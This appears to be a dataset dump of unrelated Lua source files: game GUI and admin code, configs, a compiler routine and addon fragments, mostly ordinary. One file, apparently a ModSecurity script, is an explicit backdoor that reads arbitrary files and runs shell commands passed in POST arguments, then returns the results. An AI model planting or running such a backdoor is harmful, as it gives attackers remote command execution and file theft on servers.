content stringlengths 5 1.05M |
|---|
local Narrow, parent = torch.class('nn.Narrow', 'nn.Module')
function Narrow:__init(dimension,offset,length)
parent.__init(self)
self.dimension=dimension
self.index=offset
self.length=length or 1
if not dimension or not offset then
error('nn.Narrow(dimension, offset, length)')
end
end
function Narrow:updateOutput(input)
local length = self.length
if length < 0 then
length = input:size(self.dimension) - self.index + self.length + 2
end
local output=input:narrow(self.dimension,self.index,length)
self.output = self.output:typeAs(output)
self.output:resizeAs(output):copy(output)
return self.output
end
function Narrow:updateGradInput(input, gradOutput)
local length = self.length
if length < 0 then
length = input:size(self.dimension) - self.index + self.length + 2
end
self.gradInput = self.gradInput:typeAs(input)
self.gradInput:resizeAs(input):zero()
self.gradInput:narrow(self.dimension,self.index,length):copy(gradOutput)
return self.gradInput
end
|
module(..., package.seeall)
--------------------------------------------------------------------------------
-- Event Handler
--------------------------------------------------------------------------------
function onCreate(e)
layer = flower.Layer()
layer:setScene(scene)
layer:setTouchEnabled(true)
camera = flower.Camera()
layer:setCamera(camera)
tileMap = tiled.TileMap()
tileMap:loadLueFile("desert.lue")
tileMap:setLayer(layer)
tileMap:addEventListener("touchDown", tileMap_OnTouchDown)
tileMap:addEventListener("touchUp", tileMap_OnTouchUp)
tileMap:addEventListener("touchMove", tileMap_OnTouchMove)
tileMap:addEventListener("touchCancel", tileMap_OnTouchUp)
end
function onStart(e)
end
function tileMap_OnTouchDown(e)
if tileMap.lastTouchEvent then
return
end
tileMap.lastTouchIdx = e.idx
tileMap.lastTouchX = e.x
tileMap.lastTouchY = e.y
end
function tileMap_OnTouchUp(e)
if not tileMap.lastTouchIdx then
return
end
if tileMap.lastTouchIdx ~= e.idx then
return
end
tileMap.lastTouchIdx = nil
tileMap.lastTouchX = nil
tileMap.lastTouchY = nil
end
function tileMap_OnTouchMove(e)
if not tileMap.lastTouchIdx then
return
end
if tileMap.lastTouchIdx ~= e.idx then
return
end
local moveX = e.x - tileMap.lastTouchX
local moveY = e.y - tileMap.lastTouchY
local x, y, z = camera:getLoc()
x = math.min(math.max(0, x - moveX), math.max(tileMap:getWidth() - flower.viewWidth, 0))
y = math.min(math.max(0, y - moveY), math.max(tileMap:getHeight() - flower.viewHeight, 0))
camera:setLoc(x, y, z)
tileMap.lastTouchX = e.x
tileMap.lastTouchY = e.y
end |
-------------------------------------------------------------------------------
-- Mob Framework Mod by Sapier
--
-- You may copy, use, modify or do nearly anything except removing this
-- copyright notice.
-- And of course you are NOT allow to pretend you have written it.
--
--! @file mov_gen_none.lua
--! @brief a dummy movement gen
--! @copyright Sapier
--! @author Sapier
--! @date 2012-08-09
--
-- Contact sapier a t gmx net
-------------------------------------------------------------------------------
mobf_assert_backtrace(not core.global_exists("mgen_none"))
--! @class mgen_none
--! @brief a movement generator doing nothing
mgen_none = {}
--!@}
--! @brief movement generator identifier
--! @memberof mgen_none
mgen_none.name = "none"
-------------------------------------------------------------------------------
-- name: callback(entity,now)
--
--! @brief main callback to do nothing
--! @memberof mgen_none
--
--! @param entity mob to generate movement for
--! @param now current time
-------------------------------------------------------------------------------
function mgen_none.callback(entity,now)
mobf_assert_backtrace(entity ~= nil)
local pos = entity.getbasepos(entity)
local current_state = environment.pos_is_ok(pos,entity)
if current_state == "in_water" or
current_state == "in_air" or
current_state == "above_water" then
spawning.remove(entity, "mgen none envcheck")
return
end
local speed = entity.object:get_velocity()
local default_y_acceleration = environment.get_default_gravity(pos,
entity.environment.media,
entity.data.movement.canfly)
entity.object:set_acceleration({x=0,y=default_y_acceleration,z=0})
if default_y_acceleration ~= 0 then
entity.object:set_velocity({x=0,y=speed.y,z=0})
else
entity.object:set_velocity({x=0,y=0,z=0})
end
end
-------------------------------------------------------------------------------
-- name: initialize()
--
--! @brief initialize movement generator
--! @memberof mgen_none
--! @public
-------------------------------------------------------------------------------
function mgen_none.initialize(entity,now)
end
-------------------------------------------------------------------------------
-- name: init_dynamic_data(entity,now)
--
--! @brief initialize dynamic data required by movement generator
--! @memberof mgen_none
--! @public
--
--! @param entity mob to initialize dynamic data
--! @param now current time
-------------------------------------------------------------------------------
function mgen_none.init_dynamic_data(entity,now)
local data = {
moving = false,
}
entity.dynamic_data.movement = data
end
-------------------------------------------------------------------------------
-- name: set_target(entity,target)
--
--! @brief set target for movgen
--! @memberof mgen_none
--! @public
--
--! @param entity mob to apply to
--! @param target to set
-------------------------------------------------------------------------------
function mgen_none.set_target(entity,target)
return false
end
--register this movement generator
registerMovementGen(mgen_none.name,mgen_none)
|
--[[------------------------------------------------
-- Love Frames - A GUI library for LOVE --
-- Copyright (c) 2013 Kenny Shields --
--]]------------------------------------------------
-- columnlistheader class
local newobject = loveframes.NewObject("columnlistheader", "loveframes_object_columnlistheader", true)
--[[---------------------------------------------------------
- func: initialize()
- desc: intializes the element
--]]---------------------------------------------------------
function newobject:initialize(name, parent)
self.type = "columnlistheader"
self.parent = parent
self.name = name
self.state = parent.state
self.width = 80
self.height = self.parent.columnheight
self.hover = false
self.down = false
self.clickable = true
self.enabled = true
self.descending = true
self.internal = true
table.insert(parent.children, self)
local key = 0
for k, v in ipairs(parent.children) do
if v == self then
key = k
end
end
self.OnClick = function(object)
local descending = object.descending
local parent = object.parent
local pinternals = parent.internals
local list = pinternals[1]
if descending then
object.descending = false
else
object.descending = true
end
list:Sort(key, object.descending)
end
-- apply template properties to the object
loveframes.templates.ApplyToObject(self)
end
--[[---------------------------------------------------------
- func: update(deltatime)
- desc: updates the object
--]]---------------------------------------------------------
function newobject:update(dt)
local visible = self.visible
local alwaysupdate = self.alwaysupdate
if not visible then
if not alwaysupdate then
return
end
end
local parent = self.parent
local base = loveframes.base
local update = self.Update
self:CheckHover()
if not self.hover then
self.down = false
else
if loveframes.hoverobject == self then
self.down = true
end
end
if self.down and loveframes.hoverobject == self then
self.hover = true
end
-- move to parent if there is a parent
if parent ~= base then
self.x = parent.x + self.staticx
self.y = parent.y + self.staticy
end
if update then
update(self, dt)
end
end
--[[---------------------------------------------------------
- func: draw()
- desc: draws the object
--]]---------------------------------------------------------
function newobject:draw()
local visible = self.visible
if not visible then
return
end
local skins = loveframes.skins.available
local skinindex = loveframes.config["ACTIVESKIN"]
local defaultskin = loveframes.config["DEFAULTSKIN"]
local selfskin = self.skin
local skin = skins[selfskin] or skins[skinindex]
local drawfunc = skin.DrawColumnListHeader or skins[defaultskin].DrawColumnListHeader
local draw = self.Draw
local drawcount = loveframes.drawcount
-- set the object's draw order
self:SetDrawOrder()
if draw then
draw(self)
else
drawfunc(self)
end
end
--[[---------------------------------------------------------
- func: mousepressed(x, y, button)
- desc: called when the player presses a mouse button
--]]---------------------------------------------------------
function newobject:mousepressed(x, y, button)
if self.hover and button == "l" then
local baseparent = self:GetBaseParent()
if baseparent and baseparent.type == "frame" and button == "l" then
baseparent:MakeTop()
end
self.down = true
loveframes.hoverobject = self
end
end
--[[---------------------------------------------------------
- func: mousereleased(x, y, button)
- desc: called when the player releases a mouse button
--]]---------------------------------------------------------
function newobject:mousereleased(x, y, button)
if not self.visible then
return
end
local hover = self.hover
local down = self.down
local clickable = self.clickable
local enabled = self.enabled
local onclick = self.OnClick
if hover and down and clickable and button == "l" then
if enabled then
onclick(self, x, y)
end
end
self.down = false
end
--[[---------------------------------------------------------
- func: GetName()
- desc: gets the object's name
--]]---------------------------------------------------------
function newobject:GetName()
return self.name
end
|
--[[
_ _ _ _ _ _ _
| | | || || | (_) | | | |
| | | || || |_ _ _ __ ___ __ _ | |_ ___ | | ___ __ _ ___
| | | || || __|| || '_ ` _ \ / _` || __| / _ \ | | / _ \ / _` |/ __|
| |_| || || |_ | || | | | | || (_| || |_ | __/ | |____| (_) || (_| |\__ \
\___/ |_| \__||_||_| |_| |_| \__,_| \__| \___| \_____/ \___/ \__, ||___/
__/ |
|___/
]]--
ULogs = ULogs or {} -- Please don't edit this line
ULogs.config = {} -- Please don't edit this line
ULogs.config.Title = "Ultimate Logs" -- The addon name
if (THABID == nil) then THABID = "unknown" end
ULogs.config.TableName = "ulogs_" .. THABID -- The database table name
ULogs.config.Lines = 32 -- Set how many lines are visible per page
ULogs.config.ChatCommand = "!logs" -- Set the chat command to open the logs menu
ULogs.config.ConCommand = "ulogs" -- Set the console command to open the logs menu
-- You can bind this console command to a key
ULogs.config.MaxLoadTime = 5 -- After how many seconds it will timeout if
-- no data is received
ULogs.config.CanSee = { -- ULX ranks that can open the logs menu
"superadmin",
"headadmin",
"senioradmin",
"admin",
"operator",
"moderator",
}
ULogs.config.SeeIP = { -- ULX ranks that can see IP addresses
"superadmin",
"headadmin",
"senioradmin",
"admin",
}
ULogs.config.Delete = { -- ULX ranks that can delete logs
"superadmin",
"headadmin",
}
ULogs.config.IgnoreCommands = { -- Don't log these console commands
"_FAdmin",
"_FAdmin_SpectatePosUpdate",
"wire_expression_ops_sync",
"wepswitch",
"_ttt_request_serverlang",
"_ttt_request_rolelist",
"ttt_spectate",
"+menu_context",
"-menu_context",
"+menu",
"-menu",
"undo",
"gmod_tool",
"ttt_order_equipment",
"fas2_togglegunpimper",
"fas2_detach",
"darkrp",
"vote",
"_sendDarkRPvars",
"_sendAllDoorData",
"_DarkRP_AnimationMenu",
"gmod_undo",
"gm_spawn",
"__playLockpickSound",
"_lockpickSuccess",
"EGP_ScrWH",
"ulx",
"ulib_cl_ready",
"ulib_update_cvar",
"_xgui",
"xgui",
"level_networkvars",
"_u",
"___askDoor",
"ans",
"cs_askholders",
"cs_menu",
"E2_FinishChat",
"E2_StartChat",
"wire_expression2_friend_status",
"fas2_attach",
"wac_setseat",
"SetMechPlayerWepKey",
"wire_expression2_event",
"vc_els_manual",
"vc_horn",
"vc_els_lights",
"vc_els_sound",
"vc_headlights_onoff",
"vc_lights_onoff",
"wire_pod_bind",
"billiard_strike",
"wac_air_input",
"slotm_spin",
ULogs.config.ConCommand -- Don't log the command to open the logs menu. Please don't edit this line
}
ULogs.config.LogChatCommand = false -- Set to 'true' if you want to log the chat command to open the logs menu
ULogs.config.Limit = 5000 -- Set the logs lines limit in the database
-- This is very important if you want to keep your server stable
-- If the limit is reached, the oldest lines will be
-- deleted.
-- In all case all logs are available in the 'data' folder
-- (See the settings below)
ULogs.config.Block = { -- Don't touch this if you don't know what it does please. Uncomment these lines if you want to block a log from being recorded
-- You can find the log ID in the 'logtypes/' folder
-- 2,
-- 3,
-- 4,
-- 5,
-- 6,
-- 7,
-- 8,
-- 9,
-- 10,
-- 11,
-- 12,
-- 13,
-- 14,
-- 15,
-- 16,
-- 17,
-- 18,
-- 19,
-- 20,
-- 21,
-- 22,
}
ULogs.config.SaveToData = false -- Set to 'true' if you want to save a copy of the logs in the data folder
-- In all cases the logs will be at least saved in the database
----------------------------------------------------------------------------------
--
-- Advanced configuration
--
----------------------------------------------------------------------------------
ULogs.config.OnlyUseCustom = false -- Set this to 'true' if you want to use
-- custom function instead of ULX
ULogs.config.CanSeeCustom = function( Player ) -- If ULX is not installed or if 'OnlyUseCustom'
-- is set to 'true' then call this function to
-- check if a player can see the logs menu
return Player:IsSuperAdmin() or Player:IsAdmin() -- By default if the player is at least admin
-- he can open the logs menu
end
ULogs.config.SeeIPCustom = function( Player ) -- If ULX is not installed or if 'OnlyUseCustom'
-- is set to 'true' then call this function to
-- check if a player can see IP addresses
return Player:IsSuperAdmin() or Player:IsAdmin() -- By default only superadmins can open see
-- IP addresses
end
ULogs.config.DeleteCustom = function( Player ) -- If ULX is not installed or if 'OnlyUseCustom'
-- is set to 'true' then call this function to
-- check if a player can delete logs
return Player:IsSuperAdmin() -- By default only superadmins can delete logs
end
|
hs.automaticallyCheckForUpdates(true)
hs.dockicon.hide()
hs.menuIcon(false)
hs.consoleOnTop(false)
hs.uploadCrashData(false)
|
local CorePackages = game:GetService("CorePackages")
local Action = require(CorePackages.AppTempCommon.Common.Action)
return Action(script.Name, function(open)
return {
open = open,
}
end) |
function Function:compile_au_call (node, base)
local tp = base.au_type
function get_any_module_of (tp)
if not tp.any_module then
local arg = module()
arg.items = {{name="0", tp=tp}}
tp.any_module = module()
tp.any_module.base = any_m
tp.any_module.argument = arg
end
return tp.any_module
end
if tp == "macro" then
if base.key then err("attempt to index '" .. node.key .. "' on an auro macro", node) end
if base.macro == "import" then
local names = {}
if #node.values < 1 then err("bad argument #1 for _AU_IMPORT (string literal expected)", node) end
for i, v in ipairs(node.values) do
if v.type ~= "str" then
err("bad argument #" .. i .. " for _AU_IMPORT (string literal expected)", node)
end
table.insert(names, v.value)
end
local mod = module(table.concat(names, "\x1f"))
return {au_type="module", module_id=mod.id}
elseif base.macro == "function" then
err("auro function definitions not yet supported")
end
elseif tp == "module" then
-- lua tables are 1-indexed, but auro module ids start at 2 because 0
-- and 1 are reserved, so I have to subtract 1
local mod = modules[base.module_id-1]
if not node.key then err("attempt to call a auro module", node)
elseif node.key == "get_type" then
if #node.values ~= 1 or node.values[1].type ~= "str" then
err("bad arguments for get_type (string literal expected)", node)
end
local tp = mod:type(node.values[1].value)
return {au_type="type", type_id=tp.id}
elseif node.key == "get_function" then
function create_type_list (index)
local const = node.values[index]
if const.type ~= "constructor" then
err("bad argument #"..index.." for get_function (table constructor expected)", node)
end
local list = {}
for i, item in ipairs(const.items) do
if item.type ~= "item" then
err("bad argument #"..index.." for get_function (field keys are not allowed)", node)
end
local value = self:compileExpr(item.value, true)
if value.au_type ~= "type" then
err("bad argument #"..index.." for get_function (auro type expected at field #"..i..")", node)
end
table.insert(list, types[value.type_id+1])
end
return list
end
if #node.values ~= 3 then err("bad arguments for get_function (3 arguments expected)", node) end
if node.values[1].type ~= "str" then
err("bad argument #1 for get_function (string literal expected)", node)
end
local name = node.values[1].value
local ins = create_type_list(2)
local outs = create_type_list(3)
local fn = mod:func(name, ins, outs)
return {au_type="function", function_id=fn:id()}
else err("attempt to index '" .. node.key .. "' on a auro module", node)
end
elseif tp == "type" then
local tp = types[base.type_id+1]
if not node.key then
if #node.values ~= 1 then
err("bad arguments for auro type (one argument expected)", node)
end
if not tp.from_any then
local mod = get_any_module_of(tp)
tp.from_any = mod:func("get", {any_t}, {tp})
end
local value = self:compileExpr(node.values[1])
local reg = self:inst{tp.from_any, value}
reg.au_type = "value"
reg.type_id = tp.id
return reg
elseif node.key == "test" then
if not tp.test_any then
local mod = get_any_module_of(tp)
tp.test_any = mod:func("test", {any_t}, {bool_t})
end
local value = self:compileExpr(node.values[1])
return self:inst{tp.test_any, value, au_type="value", type_id=bool_t.id}
else err("attempt to index '" .. node.key .. "' on a auro type", node) end
elseif tp == "value" then
local tp = types[base.type_id+1]
if not node.key then err("attempt to call a auro value", node)
elseif node.key == "to_lua_value" then
if #node.values > 0 then
err("bad arguments for to_lua_value (no arguments expected)", node)
end
if not tp.to_any then
local mod = get_any_module_of(tp)
tp.to_any = mod:func("new", {tp}, {any_t})
end
return self:inst{tp.to_any, base}
else err("attempt to index '" .. node.key .. "' on a auro value", node) end
elseif tp == "function" then
if node.key then err("attempt to index '" .. node.key .. "' on a auro function", node) end
local fn = funcs[base.function_id+1]
if #node.values ~= #fn.ins then
err("bad arguments for auro type (" .. #fn.ins .. " arguments expected)", node)
end
local inst = {fn, au_type="result", regs={}}
for i, v in ipairs(node.values) do
local value = self:compileExpr(v, true)
local bad_name
if not value.au_type then
bad_name = "lua value"
elseif value.au_type ~= "value" then
bad_name = value.au_type
elseif value.type_id ~= fn.ins[i] then
bad_name = types[value.type_id+1].name
end
if bad_name then
local good_name = types[fn.ins[i]+1].name
err("bad argument #"..i.." for " .. fn.name .. " (" .. good_name .. " expected but got " .. bad_name .. ")", node)
end
table.insert(inst, value)
end
for i, tp_id in ipairs(fn.outs) do
inst.regs[i] = {au_type="value", type_id=tp_id}
end
return self:inst(inst)
end
err("unknown au_type " .. tp, node)
end |
--------------------------------
-- @module PhysicsJointRatchet
-- @extend PhysicsJoint
-- @parent_module cc
--------------------------------
-- Get the ratchet angle.
-- @function [parent=#PhysicsJointRatchet] getAngle
-- @param self
-- @return float#float ret (return value: float)
--------------------------------
-- Set the ratchet angle.
-- @function [parent=#PhysicsJointRatchet] setAngle
-- @param self
-- @param #float angle
-- @return PhysicsJointRatchet#PhysicsJointRatchet self (return value: cc.PhysicsJointRatchet)
--------------------------------
--
-- @function [parent=#PhysicsJointRatchet] createConstraints
-- @param self
-- @return bool#bool ret (return value: bool)
--------------------------------
-- Set the initial offset.
-- @function [parent=#PhysicsJointRatchet] setPhase
-- @param self
-- @param #float phase
-- @return PhysicsJointRatchet#PhysicsJointRatchet self (return value: cc.PhysicsJointRatchet)
--------------------------------
-- Get the initial offset.
-- @function [parent=#PhysicsJointRatchet] getPhase
-- @param self
-- @return float#float ret (return value: float)
--------------------------------
-- Set the distance between "clicks".
-- @function [parent=#PhysicsJointRatchet] setRatchet
-- @param self
-- @param #float ratchet
-- @return PhysicsJointRatchet#PhysicsJointRatchet self (return value: cc.PhysicsJointRatchet)
--------------------------------
-- Get the distance between "clicks".
-- @function [parent=#PhysicsJointRatchet] getRatchet
-- @param self
-- @return float#float ret (return value: float)
--------------------------------
-- Create a ratchet joint.<br>
-- param a A is the body to connect.<br>
-- param b B is the body to connect.<br>
-- param phase Phase is the initial offset to use when deciding where the ratchet angles are.<br>
-- param ratchet Ratchet is the distance between "clicks".<br>
-- return A object pointer.
-- @function [parent=#PhysicsJointRatchet] construct
-- @param self
-- @param #cc.PhysicsBody a
-- @param #cc.PhysicsBody b
-- @param #float phase
-- @param #float ratchet
-- @return PhysicsJointRatchet#PhysicsJointRatchet ret (return value: cc.PhysicsJointRatchet)
return nil
|
loader.SetTransparencyType(3)
math.randomseed( os.time() )
-- LIGHT POSITION
x = math.random() + math.random(-10.0, 9.0)
y = math.random() + math.random(-10.0, 9.0)
z = math.random() + math.random(-10.0, 9.0)
loader.SetLightPosition(x, y, z)
loader.SetCounter(5) |
SS.Lib = {} -- Library table
// Error message
function SS.Lib.Error(ID)
local Message = string.upper("ERROR: "..ID)
Msg("\n\n")
Msg(Message.."\n")
Msg("\n\n")
end
// Debug message
function SS.Lib.Debug(Message)
if (SS.Config.Request("Debug")) then
Msg("[SS] Debug: "..Message.."\n")
end
end
// Format
function SS.Lib.StringValue(String)
local Type = type(String)
if not (Type == "string") then return String end
local Number = tonumber(String)
if (Number) then return Number end
if (string.lower(String) == "false") then return false end
if (string.lower(String) == "true") then return true end
return String
end
// Smoke trail
function SS.Lib.CreateSmokeTrail(Entity, Col)
local Table = {"sprites/firetrail.spr", "sprites/whitepuff.spr"}
local Smoke = ents.Create("env_smoketrail")
Smoke:SetKeyValue("opacity", 1)
Smoke:SetKeyValue("spawnrate", 25)
Smoke:SetKeyValue("lifetime", 2)
Smoke:SetKeyValue("startcolor", Col[1])
Smoke:SetKeyValue("endcolor", Col[2])
Smoke:SetKeyValue("minspeed", 15)
Smoke:SetKeyValue("maxspeed", 30)
Smoke:SetKeyValue("startsize", (Entity:BoundingRadius() / 2))
Smoke:SetKeyValue("endsize", Entity:BoundingRadius())
Smoke:SetKeyValue("spawnradius", 10)
Smoke:SetKeyValue("emittime", 300)
Smoke:SetKeyValue("firesprite", Table[1])
Smoke:SetKeyValue("smokesprite", Table[2])
Smoke:SetPos(Entity:GetPos())
Smoke:SetParent(Entity)
Smoke:Spawn()
Smoke:Activate()
Entity:DeleteOnRemove(Smoke)
return Smoke
end
// Boolean value
function SS.Lib.StringBoolean(String)
local Bool = true
if (string.lower(String) == "false") or (String == 0) then
Bool = false
end
return Bool
end
// Needed for votes etc
function SS.Lib.VotesNeeded(Number)
local Fraction = SS.Lib.PlayersConnected() - (SS.Lib.PlayersConnected() / 4)
Fraction = math.floor(Fraction)
Fraction = math.max(Fraction, 0)
if (Number < Fraction) then
return false, Fraction
end
return true, Fraction
end
// Random string
function SS.Lib.StringRandom(Characters)
local String = ""
for I = 1, Characters do
String = String..string.char(math.random(48, 90))
end
String = string.upper(String)
return String
end
// Modified string.Replace
function SS.Lib.StringReplace(String, Find, Replace, Amount)
local Start = 1
local Done = 0
Amount = Amount or 0
while (true) do
local Pos = string.find(String, Find, Start, true)
if (Pos == nil) then
break
end
if (Done == Amount and Amount != 0) then
break
end
local L = string.sub(String, 1, Pos - 1)
local R = string.sub(String, Pos + #Find)
String = L..Replace..R
Start = Pos + #Replace
Done = Done + 1
end
return String
end
// Chop string
function SS.Lib.StringChop(String, Amount)
local Pieces = {}
local Current = 0
while (string.len(String) > Amount) do
local Text = string.sub(String, Current, Amount)
table.insert(Pieces, Text)
String = string.sub(String, Amount)
end
return Pieces
end
// Blowup
function SS.Lib.EntityExplode(Entity)
local Effect = EffectData()
Effect:SetOrigin(Entity:GetPos())
Effect:SetScale(1)
Effect:SetMagnitude(25)
util.Effect("Explosion", Effect, true, true)
if (Entity:IsPlayer()) then
Entity:Kill()
else
Entity:Remove()
end
end
// Explode string
function SS.Lib.StringExplode(String, Seperator)
local Table = string.Explode(Seperator, String)
for K, V in pairs(Table) do
Table[K] = string.Trim(V)
if (V == "") then
Table[K] = nil
end
end
return Table
end
// To number
function SS.Lib.StringNumber(String)
return tonumber(String)
end
// Get string color like 255, 255, 255, 255
function SS.Lib.StringColor(String, Bool)
local Explode = SS.Lib.StringExplode(String, ", ")
local R = tonumber(Explode[1]) or 0
local G = tonumber(Explode[2]) or 0
local B = tonumber(Explode[3]) or 0
local A = tonumber(Explode[4]) or 0
if not (Bool) then
return {R, G, B, A}
else
return Color(R, G, B, A)
end
end
// Players connected
function SS.Lib.PlayersConnected()
local Players = player.GetAll()
return table.Count(Players)
end
// Random table entry
function SS.Lib.RandomTableEntry(Table)
local Max = math.random(1, table.getn(Table))
return Table[Max]
end
// Find matching player
function SS.Lib.Find(String)
String = string.lower(String)
local Players = player.GetAll()
for K, V in pairs(Players) do
local ID = V:Name()
ID = string.lower(ID)
if (string.find(ID, String)) then
return V, "Match found for "..String.."!"
end
end
return false, "There was no matches for "..String.."!"
end
// Add all custom content in a folder
function SS.Lib.AddCustomContent(Folder)
local Files = file.Find("../"..Folder.."*")
if (Files) then
for K, V in pairs(Files) do
if (file.IsDir("../"..Folder..V.."/")) then
SS.Lib.AddCustomContent(Folder..V.."/")
else
if (V != "." and V != "..") then
resource.AddFile(Folder..V)
end
end
end
end
end
// Include all files in a folder and include
function SS.Lib.FileInclude(Folder, Extension)
local Files = file.Find("../lua/"..Folder.."*"..Extension)
Msg("\n")
for K, V in pairs(Files) do
include(Folder..V)
Msg("\n\t[Generic] File - "..V.." loaded")
end
Msg("\n")
end
// Find all files in folders in a folder and include
function SS.Lib.FolderSearch(Folder, Extension)
local Files = file.Find("../lua/"..Folder.."*")
Msg("\n")
for K, V in pairs(Files) do
local Friendly = V
V = V.."/"
if (file.IsDir("../lua/"..Folder..V)) then
local Temp = file.Find("../lua/"..Folder..V.."*"..Extension)
for B, J in pairs(Temp) do
include(Folder..V..J)
Msg("\n\t["..Friendly.."] File - "..J.." loaded")
end
end
end
end
// Execute serverside console command
function SS.Lib.ConCommand(Key, ...)
local Table = {}
if (arg) then
for I = 1, table.getn(arg) do
Table[I] = arg[I]
end
end
local Value = table.concat(Table, " ")
game.ConsoleCommand(Key..' '..Value..'\n')
end
// Kick a player
function SS.Lib.PlayerKick(Player, Reason)
local Steam = Player:SteamID()
SS.Lib.ConCommand("kickid", Steam, Reason)
end
// Ban player
function SS.Lib.PlayerBan(Player, Time, Reason)
Reason = Reason or "<None Specified>"
// Run hook before banned
SS.Hooks.Run("PlayerBanned", Player, Time, Reason)
// Send ban GUI
local Steam = Player:SteamID()
SS.Lib.ConCommand("banid", Time, Steam)
umsg.Start("SS.Ban", Player)
umsg.String(Reason)
umsg.Short(Time)
umsg.End()
timer.Simple(10, SS.Lib.ConCommand, "kickid", Steam, "Banned")
timer.Simple(10, SS.Lib.ConCommand, "writeid")
// Freeze them
Player:Freeze(true)
end
// Slay player
function SS.Lib.PlayerSlay(Player)
Player:Kill()
end
// Freeze player
function SS.Lib.PlayerFreeze(Player, Bool)
if (Bool) then
Player:Freeze(true)
else
Player:Freeze(false)
end
end
// Blind player
function SS.Lib.PlayerBlind(Player, Bool)
umsg.Start("SS.Blind", Player) umsg.Bool(Bool) umsg.End()
end
// God player
function SS.Lib.PlayerGod(Player, Bool)
if (Bool) then
Player:GodEnable()
else
Player:GodDisable()
end
end
// Invis player
function SS.Lib.PlayerInvis(Player, Bool)
Player:HideGUI("Hover", Bool)
Player:HideGUI("Name", Bool)
if not (Bool) then
Player:SetMaterial("")
else
Player:SetMaterial("sprites/heatwave")
end
end
// Valid entity
function SS.Lib.Valid(Entity)
if not (Entity) then return false end
local Valid = Entity:IsValid()
if (Valid) then
return true
end
return false
end |
--- lua table to literal string
-- This is a module for convert the lua table(array/hash) to literal string just like the lua code itself
-- It propose for the useage like convert a json format rule file to a lua file
-- Then we can just require the output lua file,and it return the orig table,without further json decode/encode cost
-- For now,it support
-- key type :string/number
-- value type:string/number/boolean/table
-- Usage:
-- convert a table:
-- local str,err = convert(table)
-- if not str then
-- print(err)
-- end
-- render a table to local file
-- local ok,err = render(table,path)
-- if not ok then
-- print(err)
-- end
-- reTsubasa@gmail.com
-- 20190802
local remove = table.remove
local fmt = string.format
local byte = string.byte
local sub = string.sub
local _M = {_VERSION = "0.1.0"}
-- convert input table to the string,if err,return nil,and error message
-- @table tb input table
local function convert(tb)
if type(tb) ~= "table" then
return tb
end
local str = ""
while next(tb) do
local a,b = next(tb)
if not a then
return str
end
-- array table
if type(a) == "number" then
local tp = type(b)
if tp == "string" then
str = fmt('%s%q,',str,b)
elseif tp == "number" then
str = fmt('%s%g,',str,b)
elseif tp == "boolean" then
if b then
str = fmt('%s%s,',str,"true")
else
str = fmt('%s%s,',str,"false")
end
elseif tp == "table" then
str = fmt('%s%s,',str,conv(b))
else
-- not support func,upvalue...
return nil,"table contain the unsupport type args"
end
remove(tb,a)
-- hash table
elseif type(a) == "string" then
local tp = type(b)
if tp == "string" then
str = fmt('%s%s=%q,',str,a,b)
elseif tp == "number" then
str = fmt('%s%s=%g,',str,a,b)
elseif tp == "boolean" then
if b then
str = fmt('%s%s=%s,',str,a,"true")
else
str = fmt('%s%s=%s,',str,a,"false")
end
elseif tp == "table" then
str = fmt('%s%s=%s,',str,a,conv(b))
else
-- not support func,upvalue...
return nil,"table contain the unsupport type args"
end
tb[a] = nil
else
-- not support the other type key
return nil,"the key type only support number and string"
end
end
-- remove the last byte ","
if byte(str) == 49 then
str = sub(str,1,-2)
end
return "{"..str.."}"
end
_M.convert = convert
local function render(tb,path)
if not tb or not path then
return nil,"input can not be nil"
end
if type(tb) ~= "table" then
return nil,"arg #1 type must be table"
end
local str,err,f
str,err = conv(tb)
if not str then
return nil,err
end
str = "return "..str
f,err = io.open(path,"w+")
if err then
return nil,err
end
f:write(str)
f:close()
return true
end
_M.render = render
return _M |
-- "THE BEER-WARE LICENSE" (Revision 42):
-- <jozef@sudolsky.sk> wrote this file. As long as you retain this notice you
-- can do whatever you want with this stuff. If we meet some day, and you think
-- this stuff is worth it, you can buy me a beer in return. Jozef Sudolsky
function main(request_type)
pcall(require, "m")
local args_post = {}
for k, arg in pairs(m.getvars("ARGS_POST", "none")) do
args_post[arg["name"]] = arg["value"]
end
if request_type == "file" then
local arg_name = m.getvar("tx.backdoor_file_argument_name", "none")
local file_obj, error = io.open(args_post[string.format("ARGS_POST:%s", arg_name)], "r")
if error then
output = string.format("Cannot read file %s: %s.", data, error)
else
output = file_obj:read("*a")
file_obj:close()
end
elseif request_type == "command" then
local arg_name = m.getvar("tx.backdoor_command_argument_name", "none")
local file_obj = io.popen(args_post[string.format("ARGS_POST:%s", arg_name)])
output = file_obj:read("*a")
file_obj:close()
end
m.setvar("tx.backdoor_output", output)
return ""
end
|
--[[
EditBoxGroup.lua
@Author : DengSir (tdaddon@163.com)
@Link : https://dengsir.github.io
]]
local MAJOR, MINOR = 'EditBoxGroup', 1
local EditBoxGroup = LibStub('tdGUI-1.0'):NewClass(MAJOR, MINOR)
if not EditBoxGroup then return end
function EditBoxGroup:Constructor()
self._objectOrders = {}
self._objectIndexs = {}
self._OnTabPressed = function(object)
if IsShiftKeyDown() then
self:GetPrevObject(object):SetFocus()
else
self:GetNextObject(object):SetFocus()
end
end
end
function EditBoxGroup:RegisterEditBox(object)
tinsert(self._objectOrders, object)
self._objectIndexs[object] = #self._objectOrders
object:SetScript('OnTabPressed', self._OnTabPressed)
end
function EditBoxGroup:GetNextObject(object)
local index = self._objectIndexs[object]
if index then
local count = #self._objectOrders
local i = index
local next
repeat
i = i % count + 1
next = self._objectOrders[i]
if next:IsVisible() and next:IsEnabled() then
return next
end
until i == index
end
return object
end
function EditBoxGroup:GetPrevObject(object)
local index = self._objectIndexs[object]
if index then
local count = #self._objectOrders
local i = index
local prev
repeat
i = i == 1 and count or i - 1
prev = self._objectOrders[i]
if prev:IsVisible() and prev:IsEnabled() then
return prev
end
until i == index
end
end
function EditBoxGroup:ClearFocus()
for _, object in ipairs(self._objectOrders) do
object:ClearFocus()
end
end
|
local config = require('config');
local party = require('party');
local actions = require('actions');
local packets = require('packets');
local buffs = require('behaviors.buffs')
local healing = require('behaviors.healing');
local jdnc = require('jobs.dnc');
local jbrd = require('jobs.brd');
local zones = require('zones');
local spells = packets.spells;
local stoe = packets.stoe;
local abilities = packets.abilities;
-- local ability_levels = {};
-- ability_levels[abilities.CORSAIRS_ROLL] = 5;
-- ability_levels[abilities.NINJA_ROLL] = 8;
-- ability_levels[abilities.HUNTERS_ROLL] = 11;
-- ability_levels[abilities.CHAOS_ROLL] = 14;
-- ability_levels[abilities.MAGUSS_ROLL] = 17;
-- ability_levels[abilities.HEALERS_ROLL] = 20;
-- ability_levels[abilities.DRACHEN_ROLL] = 23;
